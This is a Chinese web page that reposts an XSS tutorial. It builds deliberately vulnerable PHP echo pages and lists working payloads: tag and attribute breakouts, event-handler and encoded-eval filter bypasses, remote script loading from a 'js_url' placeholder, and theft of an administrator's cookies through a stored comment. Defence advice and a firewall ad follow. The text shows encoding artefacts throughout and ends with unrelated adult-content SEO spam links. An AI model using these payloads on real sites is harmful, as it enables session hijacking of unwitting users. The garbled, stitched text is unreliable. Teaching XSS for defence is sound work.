整合營(yíng)銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          XSS跨站腳本攻擊的原理分析與解剖

          《xss攻擊手法》一開(kāi)始在互聯(lián)網(wǎng)上資料并不多(都是現(xiàn)成的代碼,沒(méi)有從基礎(chǔ)的開(kāi)始),直到刺的《白帽子講WEB安全》和cn4rry的《XSS跨站腳本攻擊剖析與防御》才開(kāi)始好轉(zhuǎn)。

          我這里就不說(shuō)什么xss的歷史什么東西了,xss是一門又熱門又不太受重視的Web攻擊手法,為什么會(huì)這樣呢,原因有下:

          1、耗時(shí)間
          2、有一定幾率不成功
          3、沒(méi)有相應(yīng)的軟件來(lái)完成自動(dòng)化攻擊
          4、前期需要基本的html、js功底,后期需要扎實(shí)的html、js、actionscript2/3.0等語(yǔ)言的功底
          5、是一種被動(dòng)的攻擊手法
          6、對(duì)website有http-only、crossdomian.xml沒(méi)有用

          但是這些并沒(méi)有影響黑客對(duì)此漏洞的偏愛(ài),原因不需要多,只需要一個(gè)。

          Xss幾乎每個(gè)網(wǎng)站都存在,google、baidu、360等都存在。

          0×02 原理:

          首先我們現(xiàn)在本地搭建個(gè)PHP環(huán)境(可以使用phpstudy安裝包安裝),然后在index.php文件里寫入如下代碼:

          <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重現(xiàn)</title> </head> <body> <form action="" method="get"> <input type="text" name="xss_input"> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input']; echo '你輸入的字符為<br>'.$xss; ?> </body> </html>

          然后,你會(huì)在頁(yè)面看到這樣的頁(yè)面

          我們?cè)囍斎隺bcd123,得到的結(jié)果為

          我們?cè)诳纯丛创a

          我們輸入的字符串被原封不動(dòng)的輸出來(lái)了,那這里我們提出來(lái)一個(gè)假設(shè),假設(shè)我們?cè)谒阉骺蜉斎胂旅娴拇a會(huì)出現(xiàn)什么呢?

          <script>alert('xss')</script>

          如果按照上面的例子來(lái)說(shuō),它應(yīng)該存在第12行的[br]與[/boby]>之間,變成:

          <br><script>alert('xss')</script></boby>

          之后,應(yīng)該會(huì)彈出對(duì)話框。

          既然假設(shè)提出來(lái),那我們來(lái)實(shí)現(xiàn)下這個(gè)假設(shè)成不成立吧。

          我們輸入

          <script>alert('xss')</script>

          得到的頁(yè)面為

          成功彈窗,這個(gè)時(shí)候基本上就可以確定存在xss漏洞。

          我們?cè)诳纯丛创a

          看來(lái),我們的假設(shè)成功了,這節(jié)就說(shuō)說(shuō)XSS的原理,下面幾節(jié)說(shuō)說(shuō)xss的構(gòu)造和利用。

          0×03 xss利用輸出的環(huán)境來(lái)構(gòu)造代碼 :

          上節(jié)說(shuō)了xss的原理,但是我們的輸出點(diǎn)不一在[ br ]和[ /boby ]里,可以出現(xiàn)在html標(biāo)簽的屬性里,或者其他標(biāo)簽里面。所以這節(jié)很重要,因?yàn)椴灰欢?當(dāng)你輸入下面代碼就會(huì)出現(xiàn)彈窗。

          <script>alert('xss')</script>

          先貼出代碼:

          <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS利用輸出的環(huán)境來(lái)構(gòu)造代碼</title> </head> <body> <center> <h6>把我們輸入的字符串 輸出到input里的value屬性里</h6> <form action="" method="get"> <h6>請(qǐng)輸入你想顯現(xiàn)的字符串</h6> <input type="text" name="xss_input_value" value="輸入"><br> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input_value']; if(isset($xss)){ echo '<input type="text" value="'.$xss.'">'; }else{ echo '<input type="type" value="輸出">'; } ?> </center> </body> </html>

          下面是代碼的頁(yè)面

          這段代碼的作用是把第一個(gè)輸入框的字符串,輸出到第二個(gè)輸入框,我們輸入1,那么第二個(gè)input里的value值就是1,下面是頁(yè)面的截圖和源代碼的截圖(這里我輸入下面的代碼來(lái)測(cè)試)

          <script>alert('xss')</script>

          明顯的可以看到,并沒(méi)有彈出對(duì)話框,大家可能會(huì)疑惑為什么沒(méi)有彈窗呢,我們來(lái)看看源代碼

          我們看到我們輸入的字符串被輸出到第15行input標(biāo)簽里的value屬性里面,被當(dāng)成value里的值來(lái)顯現(xiàn)出來(lái),所以并沒(méi)有彈窗,這時(shí)候我們?cè)撛趺崔k呢?聰明的人已經(jīng)發(fā)現(xiàn)了可以在

          <script>alert(&#039;xss&#039;)</script>

          前面加個(gè)">來(lái)閉合input標(biāo)簽。所以應(yīng)該得到的結(jié)果為

          成功彈窗了,我們?cè)诳纯催@時(shí)的頁(yè)面

          看到后面有第二個(gè)input輸入框后面跟有">字符串,為什么會(huì)這樣呢,我們來(lái)看看源代碼

          這時(shí)可以看到我們構(gòu)造的代碼里面有兩個(gè)">,第一個(gè)">是為了閉合input標(biāo)簽,所以第二個(gè)">就被拋棄了,因?yàn)閔tml的容錯(cuò)性高,所以并沒(méi)有像php那樣出現(xiàn)錯(cuò)誤,而是直接把多余的字符串來(lái)輸出了,有的人是個(gè)完美主義者,不喜歡有多余的字符串被輸出,這時(shí)該怎么辦呢?

          這里我問(wèn)大家一個(gè)問(wèn)題,我之前說(shuō)的xss代碼里,為什么全是帶有標(biāo)簽的。難道就不能不帶標(biāo)簽么?!答:當(dāng)然可以。既然可以不用標(biāo)簽,那我們就用標(biāo)簽里的屬性來(lái)構(gòu)造XSS,這樣的話,xss代碼又少,又不會(huì)有多余的字符串被輸出來(lái)。

          還是這個(gè)環(huán)境,但是不能使用標(biāo)簽,你應(yīng)該怎么做。想想input里有什么屬性可以調(diào)用js,html學(xué)的好的人,應(yīng)該知道了,on事件,對(duì)的。我們可以用on事件來(lái)進(jìn)行彈窗,比如這個(gè)xss代碼 我們可以寫成

          " onclick="alert(&#039;xss&#039;)

          這時(shí),我們?cè)趤?lái)試試,頁(yè)面會(huì)發(fā)生什么樣的變化吧。

          沒(méi)有看到彈窗啊,失敗了么?答案當(dāng)然是錯(cuò)誤的,因?yàn)閛nclick是鼠標(biāo)點(diǎn)擊事件,也就是說(shuō)當(dāng)你的鼠標(biāo)點(diǎn)擊第二個(gè)input輸入框的時(shí)候,就會(huì)觸發(fā)onclick事件,然后執(zhí)行alert(&#039;xss&#039;)代碼。我們來(lái)試試看

          當(dāng)我點(diǎn)擊后,就出現(xiàn)了彈窗,這時(shí)我們來(lái)看看源代碼吧

          第15行,value值為空,當(dāng)鼠標(biāo)點(diǎn)擊時(shí),就會(huì)彈出對(duì)話框。這里可能就會(huì)有人問(wèn)了,如果要點(diǎn)擊才會(huì)觸發(fā),那不是很麻煩么,成功率不就又下降了么。我來(lái)幫你解答這個(gè)問(wèn)題,on事件不止onclick這一個(gè),還有很多,如果你想不需要用戶完成什么動(dòng)作就可以觸發(fā)的話,i可以把onclick改成

          Onmousemove 當(dāng)鼠標(biāo)移動(dòng)就觸發(fā)

          Onload 當(dāng)頁(yè)面加載完成后觸發(fā)

          還有很多,我這里就不一一說(shuō)明了,有興趣的朋友可以自行查詢下。

          別以為就這樣結(jié)束了,還有一類環(huán)境不能用上述的方法,

          那就是如果在[ textarea ]標(biāo)簽里呢?!或者其他優(yōu)先級(jí)比script高的呢?

          就下面這樣

          這時(shí)我們?cè)撛趺崔k呢?既然前面都說(shuō)了閉合屬性和閉合標(biāo)簽了,那能不能閉合完整的標(biāo)簽?zāi)兀鸢甘强隙ǖ摹N覀兛梢暂斎胂旅娴拇a就可以實(shí)現(xiàn)彈窗了。

          </textarea><script>alert('xss')</script>

          0×04 過(guò)濾的解決辦法

          假如說(shuō)網(wǎng)站禁止過(guò)濾了script 這時(shí)該怎么辦呢,記住一句話,這是我總結(jié)出來(lái)的“xss就是在頁(yè)面執(zhí)行你想要的js”不用管那么多,只要能運(yùn)行我們的js就OK,比如用img標(biāo)簽或者a標(biāo)簽。我們可以這樣寫

          <img scr=1 onerror=alert('xss')>當(dāng)找不到圖片名為1的文件時(shí),執(zhí)行alert('xss') <a href=javascrip:alert('xss')>s</a> 點(diǎn)擊s時(shí)運(yùn)行alert('xss') <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr來(lái)彈窗 <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>過(guò)濾了alert來(lái)執(zhí)行彈窗

          等等有很多的方法,不要把思想總局限于一種上面,記住一句話“xss就是在頁(yè)面執(zhí)行你想要的js”其他的管他去。(當(dāng)然有的時(shí)候還有管他…)

          0×05 xss的利用

          說(shuō)了那么多,大家可能都以為xss就是彈窗,其實(shí)錯(cuò)了,彈窗只是測(cè)試xss的存在性和使用性。

          這時(shí)我們要插入js代碼了,怎么插呢?

          你可以這樣

          <script scr="js_url"></script>

          也可以這樣

          <img src=x onerror=appendChild(createElement('script')).src='js_url' />

          各種姿勢(shì),各種插,只要鞥運(yùn)行我們的js就OK。那運(yùn)行我們的js有什么用呢?

          Js可以干很多的事,可以獲取cookies(對(duì)http-only沒(méi)用)、控制用戶的動(dòng)作(發(fā)帖、私信什么的)等等。

          比如我們?cè)诰W(wǎng)站的留言區(qū)輸入下面的代碼:

          <script scr="js_url"></script>

          當(dāng)管理員進(jìn)后臺(tái)瀏覽留言的時(shí)候,就會(huì)觸發(fā),然后管理員的cookies和后臺(tái)地址還有管理員瀏覽器版本等等你都可以獲取到了,再用“桂林老兵cookie欺騙工具”來(lái)更改你的cookies,就可以不用輸入賬號(hào) 密碼 驗(yàn)證碼 就可以以管理員的方式來(lái)進(jìn)行登錄了。

          原文地址:http://netsecurity.51cto.com/art/201408/448305_all.htm

          博客文章:http://blog.xbbai.site/xiao-bai-153.html

          SS即Cross Site Scripting,中文名稱為跨站腳本攻擊,那么你知道防范XSS漏洞攻擊的原則包括哪些嗎?

          XSS詳細(xì)介紹:

          XSS攻擊主要是由程序漏洞造成的,要完全防止XSS安全漏洞主要是依靠程序員較高的編程能力和安全意識(shí),當(dāng)然安全的軟件開(kāi)發(fā)流程及其他一些編程安全原則也可以大大減少XSS安全漏洞的發(fā)生。防范XSS漏洞的原則包括這些:

          1、不信任用戶提交的任何內(nèi)容,對(duì)所有用戶提交內(nèi)容進(jìn)行可靠的輸入驗(yàn)證,包括對(duì)URL、查詢關(guān)鍵字、HTTP頭、REFER、POST數(shù)據(jù)等,僅接受指定長(zhǎng)度范圍內(nèi)、采用適當(dāng)格式、采用所預(yù)期的字符的內(nèi)容提交,對(duì)其他的一律過(guò)濾。盡量采用POST而非GET提交表單,對(duì)<、>、;、,””等字符做過(guò)濾;任何內(nèi)容輸出到頁(yè)面之前都必須加以en-code,避免不小心把htmltag顯示出來(lái)。

          2、實(shí)現(xiàn)session標(biāo)記、CAPTCHA系統(tǒng)或者HTTP引用頭檢查,以防功能被第三方網(wǎng)站所執(zhí)行,對(duì)于用戶提交信息中的img等link,檢查是否有重定向回本站、不是真的圖片等可疑操作。

          3、cookie防盜,避免直接在cookie中泄露用戶隱私,比如email、密碼等等;通過(guò)使cookie和系統(tǒng)ip綁定來(lái)降低cookie泄露后的風(fēng)險(xiǎn),這樣攻擊者可以得到的cookie沒(méi)有實(shí)際價(jià)值,很難拿來(lái)直接進(jìn)行重放攻擊。

          4、確認(rèn)接收的內(nèi)容被妥善地規(guī)范化,僅包含最小的、安全的tag,去掉任何對(duì)遠(yuǎn)程內(nèi)容的引用,使用HTTPonly的cookie。

          防范xss攻擊-下載寶塔面板

          寶塔面板 - 簡(jiǎn)單好用的Linux/Windows服務(wù)器運(yùn)維管理面板-寶塔nginx防火墻有效防跨站攻擊;

          寶塔nginx防火墻使用場(chǎng)景:



          1.遭受CC攻擊、部分流量攻擊的用戶
          2.遭受SQL注入、XSS/XSRF之類的滲透攻擊的用戶
          3.遭受惡意上傳腳本、webshell等危險(xiǎn)行為的用戶
          4.希望屏蔽境內(nèi)或境外地區(qū)訪問(wèn)自己網(wǎng)站的用戶
          5.希望通過(guò)UA、IP黑白名單管理網(wǎng)站訪問(wèn)規(guī)則的用戶
          6.希望可視化管理網(wǎng)站防御規(guī)則的用戶
          7.希望實(shí)時(shí)展示防火墻攔截狀態(tài)的用戶
          8.適合想要查看攻擊來(lái)源、被攻擊的URI、保護(hù)的目錄,但又不會(huì)看的用戶
          9.適合網(wǎng)站不需要某些蜘蛛來(lái)訪,但又不會(huì)禁止的用戶
          10.適合網(wǎng)站被掃描器惡意掃描,但又不會(huì)禁止的用戶
          11.適合網(wǎng)站發(fā)文章不想要某些敏感詞出現(xiàn),但又不會(huì)設(shè)置的用戶
          12.應(yīng)用場(chǎng)景包含所有動(dòng)態(tài)網(wǎng)站

          么是XSS攻擊?

          XSS全稱是Cross Site Scripting即跨站腳本,全稱跨站腳本攻擊,是一種在web應(yīng)用中的計(jì)算機(jī)安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁(yè)面中。

          四個(gè)關(guān)鍵點(diǎn):1、目標(biāo)網(wǎng)站目標(biāo)用戶;2、瀏覽器;3、不被預(yù)期;4、腳本。

          XSS有什么危害

          我們知道了什么是XSS攻擊,也一定很想知道XSS到底有什么危害,有什么用。

          簡(jiǎn)單總結(jié)下來(lái)主要分為以下幾種

          • 盜取用戶Cookie。
          • DOS(拒絕服務(wù))客戶端瀏覽器。
          • 釣魚攻擊,高級(jí)的釣魚技巧。
          • 刪除目標(biāo)文章、惡意篡改數(shù)據(jù)、嫁禍。
          • 劫持用戶Web行為,甚至進(jìn)一步滲透內(nèi)網(wǎng)。
          • 爆發(fā)Web2.0蠕蟲(chóng)。
          • 蠕蟲(chóng)式的DDoS攻擊。
          • 蠕蟲(chóng)式掛馬攻擊、刷廣告、刷瀏量、破壞網(wǎng)上數(shù)據(jù)


          XSS攻擊有哪幾種類型?

          常見(jiàn)的 XSS 攻擊有三種:反射型XSS攻擊、DOM-based 型XXS攻擊以及存儲(chǔ)型XSS攻擊。


          1.反射型XSS攻擊反射型 XSS 一般是攻擊者通過(guò)特定手法(如電子郵件),誘使用戶去訪問(wèn)一個(gè)包含惡意代碼的 URL,當(dāng)受害者點(diǎn)擊這些專門設(shè)計(jì)的鏈接的時(shí)候,惡意代碼會(huì)直接在受害者主機(jī)上的瀏覽器執(zhí)行。反射型XSS通常出現(xiàn)在網(wǎng)站的搜索欄、用戶登錄口等地方,常用來(lái)竊取客戶端 Cookies 或進(jìn)行釣魚欺騙。

          一個(gè)簡(jiǎn)單的例子如下:http://www.a.com/xss/reflect.php的代碼如下:

          <?php
          echo $_GET['x'];
          >

          如果輸入x的值未經(jīng)任何過(guò)濾就直接輸出,提交:http://www.foo.com/xss/reflect.php?x=<script>alert(1)</script>

          則alert()函數(shù)會(huì)在瀏覽器觸發(fā)。


          2.存儲(chǔ)型XSS攻擊也叫持久型XSS,主要將XSS代碼提交存儲(chǔ)在服務(wù)器端(數(shù)據(jù)庫(kù),內(nèi)存,文件系統(tǒng)等),下次請(qǐng)求目標(biāo)頁(yè)面時(shí)不用再提交XSS代碼。當(dāng)目標(biāo)用戶訪問(wèn)該頁(yè)面獲取數(shù)據(jù)時(shí),XSS代碼會(huì)從服務(wù)器解析之后加載出來(lái),返回到瀏覽器做正常的HTML和JS解析執(zhí)行,XSS攻擊就發(fā)生了。存儲(chǔ)型 XSS 一般出現(xiàn)在網(wǎng)站留言、評(píng)論、博客日志等交互處,惡意腳本存儲(chǔ)到客戶端或者服務(wù)端的數(shù)據(jù)庫(kù)中。


          3.DOM-based 型XSS攻擊基于 DOM 的 XSS 攻擊是指通過(guò)惡意腳本修改頁(yè)面的 DOM 結(jié)構(gòu),是純粹發(fā)生在客戶端的攻擊。DOM 型 XSS 攻擊中,取出和執(zhí)行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞。


          DOM XSS和反射型XSS、存儲(chǔ)型XSS的差別在于DOM XSS的代碼并不需要服務(wù)器參與,觸發(fā)XSS靠的是瀏覽器端的DOM解析,完全是客戶端的事情。

          http://www.a.com/xss/domxss.html代碼如下:

          <script>
          eval(location.hash.substr(1));
          </script>

          觸發(fā)方式為:http://www.a.com/xss/domxss.html#alert(1)

          這個(gè)URL#后的內(nèi)容是不會(huì)發(fā)送到服務(wù)器端的,僅僅在客戶端被接收并解執(zhí)行。

          如彈出cookie腳本:在自己的頁(yè)面彈出自己的Cookie只需要修改alert的內(nèi)容為document.cookie即可!

          <script>alert(document.cookie);</script>


          如何防御XSS攻擊?

          1. 對(duì)輸入內(nèi)容的特定字符進(jìn)行編碼,例如表示 html標(biāo)記的 < > 等符號(hào)。

          2. 對(duì)重要的 cookie設(shè)置 httpOnly, 防止客戶端通過(guò)document.cookie讀取 cookie,此 HTTP頭由服務(wù)端設(shè)置。

          3. 將不可信的值輸出URL參數(shù)之前,進(jìn)行 URLEncode操作,而對(duì)于從 URL參數(shù)中獲取值一定要進(jìn)行格式檢測(cè)(比如你需要的時(shí)URL,就判讀是否滿足URL格式)。

          4. 不要使用 Eval來(lái)解析并運(yùn)行不確定的數(shù)據(jù)或代碼,對(duì)于 JSON解析請(qǐng)使用 JSON.parse() 方法。

          5. 后端接口也應(yīng)該要做到關(guān)鍵字符過(guò)濾的問(wèn)題。


          總結(jié)

          如今,各種類型網(wǎng)絡(luò)攻擊日益頻繁,除了XSS攻擊之外,比較常見(jiàn)的網(wǎng)絡(luò)攻擊類型還包括DDoS攻擊、CC攻擊等,它們非常難以防御,除了需要做好日常網(wǎng)絡(luò)安全防護(hù)之外,還需要接入高防服務(wù),對(duì)攻擊流量進(jìn)行清洗,保障企業(yè)網(wǎng)絡(luò)及業(yè)務(wù)的正常運(yùn)行。


          主站蜘蛛池模板: 在线观看视频一区二区| 精品一区二区三区在线视频观看| 久久精品一区二区东京热| 国产一区二区电影| 国产精品久久久久一区二区三区 | 日本精品一区二区三区四区| 亚洲人成人一区二区三区| 日韩一区二区a片免费观看| 亚洲AV无码一区二区三区在线观看 | 亚洲国产精品一区二区九九 | 日韩电影一区二区| 午夜在线视频一区二区三区 | 亚洲av午夜福利精品一区| 日韩精品一区二区三区影院| 国产精品福利一区二区| 国产AV一区二区三区传媒| 日本精品一区二区三区在线视频一| 精品国产亚洲一区二区在线观看 | 射精专区一区二区朝鲜| 精品一区二区三区影院在线午夜 | 亚洲毛片αv无线播放一区 | 精品人妻少妇一区二区三区不卡 | AV无码精品一区二区三区| 波多野结衣免费一区视频| 一区二区国产精品| 一区二区三区无码高清视频| 韩国女主播一区二区| 色综合久久一区二区三区| 一本久久精品一区二区| 精品香蕉一区二区三区| 亚洲宅男精品一区在线观看| 日韩精品一区二区亚洲AV观看 | 亚洲国产成人久久一区二区三区| 亚洲综合一区二区三区四区五区| 亚洲综合无码AV一区二区| 国产成人无码一区二区在线播放| 国产在线精品一区二区三区直播 | 无码一区二区三区| 一本一道波多野结衣一区| 无码丰满熟妇浪潮一区二区AV| 波多野结衣一区二区三区|